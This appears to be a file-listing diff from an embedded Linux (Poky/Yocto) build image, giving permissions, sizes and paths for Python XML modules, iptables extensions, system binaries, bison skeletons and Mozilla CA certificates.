+-rw-r--r-- root root 173 ./usr/lib/python3.8/xml/etree/__pycache__/cElementTree.cpython-38.opt-2.pyc
+-rw-r--r-- root root 173 ./usr/lib/python3.8/xml/etree/__pycache__/cElementTree.cpython-38.pyc
+-rw-r--r-- root root 1579 ./usr/lib/python3.8/xml/etree/__pycache__/ElementInclude.cpython-38.opt-1.pyc
+-rw-r--r-- root root 1579 ./usr/lib/python3.8/xml/etree/__pycache__/ElementInclude.cpython-38.opt-2.pyc
+-rw-r--r-- root root 1579 ./usr/lib/python3.8/xml/etree/__pycache__/ElementInclude.cpython-38.pyc
+-rw-r--r-- root root 8434 ./usr/lib/python3.8/xml/etree/__pycache__/ElementPath.cpython-38.opt-1.pyc
+-rw-r--r-- root root 8434 ./usr/lib/python3.8/xml/etree/__pycache__/ElementPath.cpython-38.opt-2.pyc
+-rw-r--r-- root root 8434 ./usr/lib/python3.8/xml/etree/__pycache__/ElementPath.cpython-38.pyc
+-rw-r--r-- root root 55298 ./usr/lib/python3.8/xml/etree/__pycache__/ElementTree.cpython-38.opt-1.pyc
+-rw-r--r-- root root 36901 ./usr/lib/python3.8/xml/etree/__pycache__/ElementTree.cpython-38.opt-2.pyc
+-rw-r--r-- root root 55612 ./usr/lib/python3.8/xml/etree/__pycache__/ElementTree.cpython-38.pyc
+-rw-r--r-- root root 131 ./usr/lib/python3.8/xml/etree/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 131 ./usr/lib/python3.8/xml/etree/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 131 ./usr/lib/python3.8/xml/etree/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 557 ./usr/lib/python3.8/xml/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/parsers
+-rw-r--r-- root root 248 ./usr/lib/python3.8/xml/parsers/expat.py
+-rw-r--r-- root root 167 ./usr/lib/python3.8/xml/parsers/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/parsers/__pycache__
+-rw-r--r-- root root 334 ./usr/lib/python3.8/xml/parsers/__pycache__/expat.cpython-38.opt-1.pyc
+-rw-r--r-- root root 268 ./usr/lib/python3.8/xml/parsers/__pycache__/expat.cpython-38.opt-2.pyc
+-rw-r--r-- root root 334 ./usr/lib/python3.8/xml/parsers/__pycache__/expat.cpython-38.pyc
+-rw-r--r-- root root 305 ./usr/lib/python3.8/xml/parsers/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 133 ./usr/lib/python3.8/xml/parsers/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 305 ./usr/lib/python3.8/xml/parsers/__pycache__/__init__.cpython-38.pyc
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/__pycache__
+-rw-r--r-- root root 692 ./usr/lib/python3.8/xml/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 169 ./usr/lib/python3.8/xml/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 692 ./usr/lib/python3.8/xml/__pycache__/__init__.cpython-38.pyc
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/sax
+-rw-r--r-- root root 4785 ./usr/lib/python3.8/xml/sax/_exceptions.py
+-rw-r--r-- root root 15704 ./usr/lib/python3.8/xml/sax/expatreader.py
+-rw-r--r-- root root 13922 ./usr/lib/python3.8/xml/sax/handler.py
+-rw-r--r-- root root 3647 ./usr/lib/python3.8/xml/sax/__init__.py
+drwxr-xr-x root root 4096 ./usr/lib/python3.8/xml/sax/__pycache__
+-rw-r--r-- root root 5444 ./usr/lib/python3.8/xml/sax/__pycache__/_exceptions.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2841 ./usr/lib/python3.8/xml/sax/__pycache__/_exceptions.cpython-38.opt-2.pyc
+-rw-r--r-- root root 5444 ./usr/lib/python3.8/xml/sax/__pycache__/_exceptions.cpython-38.pyc
+-rw-r--r-- root root 12495 ./usr/lib/python3.8/xml/sax/__pycache__/expatreader.cpython-38.opt-1.pyc
+-rw-r--r-- root root 12084 ./usr/lib/python3.8/xml/sax/__pycache__/expatreader.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12495 ./usr/lib/python3.8/xml/sax/__pycache__/expatreader.cpython-38.pyc
+-rw-r--r-- root root 12422 ./usr/lib/python3.8/xml/sax/__pycache__/handler.cpython-38.opt-1.pyc
+-rw-r--r-- root root 4651 ./usr/lib/python3.8/xml/sax/__pycache__/handler.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12422 ./usr/lib/python3.8/xml/sax/__pycache__/handler.cpython-38.pyc
+-rw-r--r-- root root 3219 ./usr/lib/python3.8/xml/sax/__pycache__/__init__.cpython-38.opt-1.pyc
+-rw-r--r-- root root 2156 ./usr/lib/python3.8/xml/sax/__pycache__/__init__.cpython-38.opt-2.pyc
+-rw-r--r-- root root 3219 ./usr/lib/python3.8/xml/sax/__pycache__/__init__.cpython-38.pyc
+-rw-r--r-- root root 12919 ./usr/lib/python3.8/xml/sax/__pycache__/saxutils.cpython-38.opt-1.pyc
+-rw-r--r-- root root 11264 ./usr/lib/python3.8/xml/sax/__pycache__/saxutils.cpython-38.opt-2.pyc
+-rw-r--r-- root root 12919 ./usr/lib/python3.8/xml/sax/__pycache__/saxutils.cpython-38.pyc
+-rw-r--r-- root root 16844 ./usr/lib/python3.8/xml/sax/__pycache__/xmlreader.cpython-38.opt-1.pyc
+-rw-r--r-- root root 10407 ./usr/lib/python3.8/xml/sax/__pycache__/xmlreader.cpython-38.opt-2.pyc
+-rw-r--r-- root root 16844 ./usr/lib/python3.8/xml/sax/__pycache__/xmlreader.cpython-38.pyc
+-rw-r--r-- root root 12255 ./usr/lib/python3.8/xml/sax/saxutils.py
+-rw-r--r-- root root 12684 ./usr/lib/python3.8/xml/sax/xmlreader.py
+-rw-r--r-- root root 87626 ./usr/lib/python3.8/zipfile.py
+-rw-r--r-- root root 3920 ./usr/lib/Scrt1.o
+drwxr-xr-x root root 4096 ./usr/lib/ssl-1.1
+lrwxrwxrwx root root 22 ./usr/lib/ssl-1.1/certs -> ../../../etc/ssl/certs
+-rw-r--r-- root root 412 ./usr/lib/ssl-1.1/ct_log_list.cnf
+-rw-r--r-- root root 412 ./usr/lib/ssl-1.1/ct_log_list.cnf.dist
+-rw-r--r-- root root 10909 ./usr/lib/ssl-1.1/openssl.cnf.dist
+lrwxrwxrwx root root 28 ./usr/lib/ssl-1.1/openssl.cnf -> ../../../etc/ssl/openssl.cnf
+lrwxrwxrwx root root 24 ./usr/lib/ssl-1.1/private -> ../../../etc/ssl/private
+drwxr-xr-x root root 4096 ./usr/lib/systemd
+drwxr-xr-x root root 4096 ./usr/lib/systemd/user
+-rw-r--r-- root root 360 ./usr/lib/systemd/user/dbus.service
+-rw-r--r-- root root 174 ./usr/lib/systemd/user/dbus.socket
+drwxr-xr-x root root 4096 ./usr/lib/systemd/user/sockets.target.wants
+lrwxrwxrwx root root 14 ./usr/lib/systemd/user/sockets.target.wants/dbus.socket -> ../dbus.socket
+drwxr-xr-x root root 4096 ./usr/lib/x86_64-poky-linux
+drwxr-xr-x root root 4096 ./usr/lib/x86_64-poky-linux/10.1.0
+-rw-r--r-- root root 2432 ./usr/lib/x86_64-poky-linux/10.1.0/crtbegin.o
+-rw-r--r-- root root 2752 ./usr/lib/x86_64-poky-linux/10.1.0/crtbeginS.o
+-rw-r--r-- root root 2944 ./usr/lib/x86_64-poky-linux/10.1.0/crtbeginT.o
+-rw-r--r-- root root 1200 ./usr/lib/x86_64-poky-linux/10.1.0/crtend.o
+-rw-r--r-- root root 1200 ./usr/lib/x86_64-poky-linux/10.1.0/crtendS.o
+-rw-r--r-- root root 3848 ./usr/lib/x86_64-poky-linux/10.1.0/crtfastmath.o
+-rw-r--r-- root root 3400 ./usr/lib/x86_64-poky-linux/10.1.0/crtprec32.o
+-rw-r--r-- root root 3416 ./usr/lib/x86_64-poky-linux/10.1.0/crtprec64.o
+-rw-r--r-- root root 3400 ./usr/lib/x86_64-poky-linux/10.1.0/crtprec80.o
+-rw-r--r-- root root 6179894 ./usr/lib/x86_64-poky-linux/10.1.0/libgcc.a
+-rw-r--r-- root root 405636 ./usr/lib/x86_64-poky-linux/10.1.0/libgcc_eh.a
+-rw-r--r-- root root 267062 ./usr/lib/x86_64-poky-linux/10.1.0/libgcov.a
+-rw-r--r-- root root 201 ./usr/lib/xml2Conf.sh
+drwxr-xr-x root root 4096 ./usr/lib/xtables
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_ah.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libip6t_DNAT.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_DNPT.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_dst.so
+-rwxr-xr-x root root 14208 ./usr/lib/xtables/libip6t_eui64.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_frag.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_hbh.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_hl.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_HL.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_icmp6.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_ipv6header.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_LOG.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libip6t_MASQUERADE.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_mh.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libip6t_NETMAP.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libip6t_REDIRECT.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libip6t_REJECT.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libip6t_rt.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_SNAT.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libip6t_SNPT.so
+-rwxr-xr-x root root 22816 ./usr/lib/xtables/libip6t_srh.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libipt_ah.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libipt_CLUSTERIP.so
+-rwxr-xr-x root root 18736 ./usr/lib/xtables/libipt_DNAT.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libipt_ECN.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libipt_icmp.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libipt_LOG.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libipt_MASQUERADE.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libipt_NETMAP.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libipt_realm.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libipt_REDIRECT.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libipt_REJECT.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libipt_SNAT.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libipt_ttl.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libipt_TTL.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libipt_ULOG.so
+-rwxr-xr-x root root 14632 ./usr/lib/xtables/libxt_addrtype.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_AUDIT.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_bpf.so
+-rwxr-xr-x root root 14816 ./usr/lib/xtables/libxt_cgroup.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_CHECKSUM.so
+-rwxr-xr-x root root 14648 ./usr/lib/xtables/libxt_CLASSIFY.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_cluster.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_comment.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_connbytes.so
+-rwxr-xr-x root root 15016 ./usr/lib/xtables/libxt_connlimit.so
+-rwxr-xr-x root root 14632 ./usr/lib/xtables/libxt_connmark.so
+-rwxr-xr-x root root 18944 ./usr/lib/xtables/libxt_CONNMARK.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_CONNSECMARK.so
+-rwxr-xr-x root root 32744 ./usr/lib/xtables/libxt_conntrack.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_cpu.so
+-rwxr-xr-x root root 19736 ./usr/lib/xtables/libxt_CT.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_dccp.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_devgroup.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_dscp.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libxt_DSCP.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_ecn.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_esp.so
+-rwxr-xr-x root root 36136 ./usr/lib/xtables/libxt_hashlimit.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_helper.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libxt_HMARK.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_IDLETIMER.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_ipcomp.so
+-rwxr-xr-x root root 14824 ./usr/lib/xtables/libxt_iprange.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_ipvs.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_LED.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_length.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_limit.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_mac.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_mark.so
+-rwxr-xr-x root root 15168 ./usr/lib/xtables/libxt_MARK.so
+-rwxr-xr-x root root 19112 ./usr/lib/xtables/libxt_multiport.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_nfacct.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_NFLOG.so
+-rwxr-xr-x root root 15048 ./usr/lib/xtables/libxt_NFQUEUE.so
+lrwxrwxrwx root root 11 ./usr/lib/xtables/libxt_NOTRACK.so -> libxt_CT.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_osf.so
+-rwxr-xr-x root root 23008 ./usr/lib/xtables/libxt_owner.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_physdev.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_pkttype.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_policy.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_quota.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_rateest.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_RATEEST.so
+-rwxr-xr-x root root 18912 ./usr/lib/xtables/libxt_recent.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_rpfilter.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_sctp.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_SECMARK.so
+-rwxr-xr-x root root 23392 ./usr/lib/xtables/libxt_set.so
+-rwxr-xr-x root root 23232 ./usr/lib/xtables/libxt_SET.so
+-rwxr-xr-x root root 15008 ./usr/lib/xtables/libxt_socket.so
+-rwxr-xr-x root root 14368 ./usr/lib/xtables/libxt_standard.so
+lrwxrwxrwx root root 18 ./usr/lib/xtables/libxt_state.so -> libxt_conntrack.so
+-rwxr-xr-x root root 14440 ./usr/lib/xtables/libxt_statistic.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_string.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_SYNPROXY.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_tcpmss.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libxt_TCPMSS.so
+-rwxr-xr-x root root 14448 ./usr/lib/xtables/libxt_TCPOPTSTRIP.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_tcp.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libxt_TEE.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_time.so
+-rwxr-xr-x root root 14624 ./usr/lib/xtables/libxt_tos.so
+-rwxr-xr-x root root 14640 ./usr/lib/xtables/libxt_TOS.so
+-rwxr-xr-x root root 14840 ./usr/lib/xtables/libxt_TPROXY.so
+-rwxr-xr-x root root 14208 ./usr/lib/xtables/libxt_TRACE.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_u32.so
+-rwxr-xr-x root root 14432 ./usr/lib/xtables/libxt_udp.so
+drwxr-xr-x root root 4096 ./usr/sbin
+lrwxrwxrwx root root 19 ./usr/sbin/addgroup -> /bin/busybox.nosuid
+-rwxr-xr-x root root 26664 ./usr/sbin/addpart
+lrwxrwxrwx root root 19 ./usr/sbin/adduser -> /bin/busybox.nosuid
+-rwxr-xr-x root root 30760 ./usr/sbin/blkdiscard
+-rwxr-xr-x root root 71720 ./usr/sbin/blkzone
+-rwxr-xr-x root root 47136 ./usr/sbin/chcpu
+-rwxr-xr-x root root 59152 ./usr/sbin/chgpasswd
+-rwxr-xr-x root root 55056 ./usr/sbin/chpasswd.shadow
+lrwxrwxrwx root root 25 ./usr/sbin/chpasswd -> /usr/sbin/chpasswd.shadow
+-rwxr-xr-x root root 55464 ./usr/sbin/chroot.coreutils
+lrwxrwxrwx root root 26 ./usr/sbin/chroot -> /usr/sbin/chroot.coreutils
+lrwxrwxrwx root root 19 ./usr/sbin/delgroup -> /bin/busybox.nosuid
+-rwxr-xr-x root root 26664 ./usr/sbin/delpart
+lrwxrwxrwx root root 19 ./usr/sbin/deluser -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./usr/sbin/fbset -> /bin/busybox.nosuid
+-rwxr-xr-x root root 34856 ./usr/sbin/fdformat
+-rwxr-xr-x root root 14368 ./usr/sbin/findfs
+-rwxr-xr-x root root 38984 ./usr/sbin/fsck.cramfs
+lrwxrwxrwx root root 29 ./usr/sbin/fsfreeze -> /usr/sbin/fsfreeze.util-linux
+-rwxr-xr-x root root 14384 ./usr/sbin/fsfreeze.util-linux
+-rwxr-xr-x root root 84336 ./usr/sbin/groupadd
+-rwxr-xr-x root root 75952 ./usr/sbin/groupdel
+-rwxr-xr-x root root 59160 ./usr/sbin/groupmems
+-rwxr-xr-x root root 84272 ./usr/sbin/groupmod
+-rwxr-xr-x root root 59120 ./usr/sbin/grpck
+-rwxr-xr-x root root 54896 ./usr/sbin/grpconv
+-rwxr-xr-x root root 54904 ./usr/sbin/grpunconv
+-rwxr-xr-x root root 30936 ./usr/sbin/iconvconfig
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables-legacy-restore -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables-legacy-save -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables-legacy -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables-restore -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables-save -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/ip6tables -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables-legacy-restore -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables-legacy-save -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables-legacy -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables-restore -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables-save -> xtables-legacy-multi
+lrwxrwxrwx root root 20 ./usr/sbin/iptables -> xtables-legacy-multi
+-rwxr-xr-x root root 34856 ./usr/sbin/ldattach
+lrwxrwxrwx root root 19 ./usr/sbin/loadfont -> /bin/busybox.nosuid
+-rwxr-xr-x root root 14288 ./usr/sbin/logoutd
+-rwxr-xr-x root root 14368 ./usr/sbin/mkfs
+-rwxr-xr-x root root 38880 ./usr/sbin/mkfs.cramfs
+-rwxr-xr-x root root 96560 ./usr/sbin/newusers
+-rwxr-xr-x root root 116776 ./usr/sbin/partx
+-rwxr-xr-x root root 55016 ./usr/sbin/pwck
+-rwxr-xr-x root root 50792 ./usr/sbin/pwconv
+-rwxr-xr-x root root 50808 ./usr/sbin/pwunconv
+-rwxr-xr-x root root 14368 ./usr/sbin/raw
+lrwxrwxrwx root root 19 ./usr/sbin/rdate -> /bin/busybox.nosuid
+lrwxrwxrwx root root 32 ./usr/sbin/readprofile -> /usr/sbin/readprofile.util-linux
+-rwxr-xr-x root root 22616 ./usr/sbin/readprofile.util-linux
+-rwxr-xr-x root root 63528 ./usr/sbin/resizepart
+lrwxrwxrwx root root 27 ./usr/sbin/rfkill -> /usr/sbin/rfkill.util-linux
+-rwxr-xr-x root root 47152 ./usr/sbin/rfkill.util-linux
+lrwxrwxrwx root root 28 ./usr/sbin/rtcwake -> /usr/sbin/rtcwake.util-linux
+-rwxr-xr-x root root 47152 ./usr/sbin/rtcwake.util-linux
+-rwxr-xr-x root root 1986 ./usr/sbin/run-postinsts
+-rwxr-xr-x root root 141352 ./usr/sbin/sfdisk
+-rwxr-xr-x root root 18472 ./usr/sbin/swaplabel
+lrwxrwxrwx root root 19 ./usr/sbin/udhcpd -> /bin/busybox.nosuid
+-rwxr-xr-x root root 5990 ./usr/sbin/update-ca-certificates
+-rwxr-xr-x root root 6365 ./usr/sbin/update-rc.d
+-rwxr-xr-x root root 130136 ./usr/sbin/useradd
+-rwxr-xr-x root root 88328 ./usr/sbin/userdel
+-rwxr-xr-x root root 125880 ./usr/sbin/usermod
+-rwxr-xr-x root root 39032 ./usr/sbin/uuidd
+-rwxr-xr-x root root 47144 ./usr/sbin/wipefs
+-rwxr-xr-x root root 98960 ./usr/sbin/xtables-legacy-multi
+-rwxr-xr-x root root 112792 ./usr/sbin/zramctl
+drwxr-xr-x root root 4096 ./usr/share
+drwxr-xr-x root root 4096 ./usr/share/aclocal
+-rw-r--r-- root root 2221 ./usr/share/aclocal/bison-i18n.m4
+-rw-r--r-- root root 1184 ./usr/share/aclocal/cap-ng.m4
+-rw-r--r-- root root 6337 ./usr/share/aclocal/freetype2.m4
+-rw-r--r-- root root 8316 ./usr/share/aclocal/glib-2.0.m4
+-rw-r--r-- root root 15838 ./usr/share/aclocal/glib-gettext.m4
+-rw-r--r-- root root 3589 ./usr/share/aclocal/gsettings.m4
+-rw-r--r-- root root 5132 ./usr/share/aclocal/introspection.m4
+-rw-r--r-- root root 357 ./usr/share/aclocal/libxml.m4
+-rw-r--r-- root root 428 ./usr/share/aclocal/wayland-scanner.m4
+-rw-r--r-- root root 71315 ./usr/share/aclocal/xorg-macros.m4
+-rw-r--r-- root root 6537 ./usr/share/aclocal/xtrans.m4
+drwxr-xr-x root root 4096 ./usr/share/awk
+-rw-r--r-- root root 383 ./usr/share/awk/assert.awk
+-rw-r--r-- root root 334 ./usr/share/awk/bits2str.awk
+-rw-r--r-- root root 307 ./usr/share/awk/cliff_rand.awk
+-rw-r--r-- root root 234 ./usr/share/awk/ctime.awk
+-rw-r--r-- root root 315 ./usr/share/awk/ftrans.awk
+-rw-r--r-- root root 3278 ./usr/share/awk/getopt.awk
+-rw-r--r-- root root 2491 ./usr/share/awk/gettime.awk
+-rw-r--r-- root root 1765 ./usr/share/awk/group.awk
+-rw-r--r-- root root 221 ./usr/share/awk/have_mpfr.awk
+-rw-r--r-- root root 2340 ./usr/share/awk/inplace.awk
+-rw-r--r-- root root 462 ./usr/share/awk/intdiv0.awk
+-rw-r--r-- root root 378 ./usr/share/awk/join.awk
+-rw-r--r-- root root 238 ./usr/share/awk/libintl.awk
+-rw-r--r-- root root 422 ./usr/share/awk/noassign.awk
+-rw-r--r-- root root 1282 ./usr/share/awk/ns_passwd.awk
+-rw-r--r-- root root 937 ./usr/share/awk/ord.awk
+-rw-r--r-- root root 1199 ./usr/share/awk/passwd.awk
+-rw-r--r-- root root 355 ./usr/share/awk/processarray.awk
+-rw-r--r-- root root 1031 ./usr/share/awk/quicksort.awk
+-rw-r--r-- root root 489 ./usr/share/awk/readable.awk
+-rw-r--r-- root root 267 ./usr/share/awk/readfile.awk
+-rw-r--r-- root root 404 ./usr/share/awk/rewind.awk
+-rw-r--r-- root root 661 ./usr/share/awk/round.awk
+-rw-r--r-- root root 472 ./usr/share/awk/shellquote.awk
+-rw-r--r-- root root 1454 ./usr/share/awk/strtonum.awk
+-rw-r--r-- root root 214 ./usr/share/awk/walkarray.awk
+-rw-r--r-- root root 424 ./usr/share/awk/zerofile.awk
+drwxr-xr-x root root 4096 ./usr/share/bash-completion
+-rw-r--r-- root root 74302 ./usr/share/bash-completion/bash_completion
+drwxr-xr-x root root 4096 ./usr/share/bison
+-rw-r--r-- root root 1206 ./usr/share/bison/bison-default.css
+drwxr-xr-x root root 4096 ./usr/share/bison/m4sugar
+-rw-r--r-- root root 14755 ./usr/share/bison/m4sugar/foreach.m4
+-rw-r--r-- root root 122297 ./usr/share/bison/m4sugar/m4sugar.m4
+-rw-r--r-- root root 7134 ./usr/share/bison/README.md
+drwxr-xr-x root root 4096 ./usr/share/bison/skeletons
+-rw-r--r-- root root 41025 ./usr/share/bison/skeletons/bison.m4
+-rw-r--r-- root root 2571 ./usr/share/bison/skeletons/c-like.m4
+-rw-r--r-- root root 32297 ./usr/share/bison/skeletons/c.m4
+-rw-r--r-- root root 21273 ./usr/share/bison/skeletons/c++.m4
+-rw-r--r-- root root 1163 ./usr/share/bison/skeletons/c-skel.m4
+-rw-r--r-- root root 1169 ./usr/share/bison/skeletons/c++-skel.m4
+-rw-r--r-- root root 10492 ./usr/share/bison/skeletons/d.m4
+-rw-r--r-- root root 1135 ./usr/share/bison/skeletons/d-skel.m4
+-rw-r--r-- root root 91038 ./usr/share/bison/skeletons/glr.c
+-rw-r--r-- root root 12766 ./usr/share/bison/skeletons/glr.cc
+-rw-r--r-- root root 14410 ./usr/share/bison/skeletons/java.m4
+-rw-r--r-- root root 1166 ./usr/share/bison/skeletons/java-skel.m4
+-rw-r--r-- root root 51533 ./usr/share/bison/skeletons/lalr1.cc
+-rw-r--r-- root root 30671 ./usr/share/bison/skeletons/lalr1.d
+-rw-r--r-- root root 37180 ./usr/share/bison/skeletons/lalr1.java
+-rw-r--r-- root root 10331 ./usr/share/bison/skeletons/location.cc
+-rw-r--r-- root root 1896 ./usr/share/bison/skeletons/README-D.txt
+-rw-r--r-- root root 3975 ./usr/share/bison/skeletons/stack.hh
+-rw-r--r-- root root 13220 ./usr/share/bison/skeletons/variant.hh
+-rw-r--r-- root root 70766 ./usr/share/bison/skeletons/yacc.c
+drwxr-xr-x root root 4096 ./usr/share/bison/xslt
+-rw-r--r-- root root 3364 ./usr/share/bison/xslt/bison.xsl
+-rw-r--r-- root root 12820 ./usr/share/bison/xslt/xml2dot.xsl
+-rw-r--r-- root root 18554 ./usr/share/bison/xslt/xml2text.xsl
+-rw-r--r-- root root 22678 ./usr/share/bison/xslt/xml2xhtml.xsl
+drwxr-xr-x root root 4096 ./usr/share/ca-certificates
+drwxr-xr-x root root 12288 ./usr/share/ca-certificates/mozilla
+-rw-r--r-- root root 2772 ./usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt
+-rw-r--r-- root root 1972 ./usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM.crt
+-rw-r--r-- root root 2049 ./usr/share/ca-certificates/mozilla/Actalis_Authentication_Root_CA.crt
+-rw-r--r-- root root 1521 ./usr/share/ca-certificates/mozilla/AddTrust_External_Root.crt
+-rw-r--r-- root root 1204 ./usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt
+-rw-r--r-- root root 1204 ./usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt
+-rw-r--r-- root root 1891 ./usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt
+-rw-r--r-- root root 753 ./usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt
+-rw-r--r-- root root 1188 ./usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt
+-rw-r--r-- root root 1883 ./usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt
+-rw-r--r-- root root 656 ./usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt
+-rw-r--r-- root root 737 ./usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt
+-rw-r--r-- root root 1261 ./usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt
+-rw-r--r-- root root 2167 ./usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt
+-rw-r--r-- root root 1261 ./usr/share/ca-certificates/mozilla/Baltimore_CyberTrust_Root.crt
+-rw-r--r-- root root 1915 ./usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt
+-rw-r--r-- root root 1915 ./usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt
+-rw-r--r-- root root 1935 ./usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt
+-rw-r--r-- root root 1330 ./usr/share/ca-certificates/mozilla/Certigna.crt
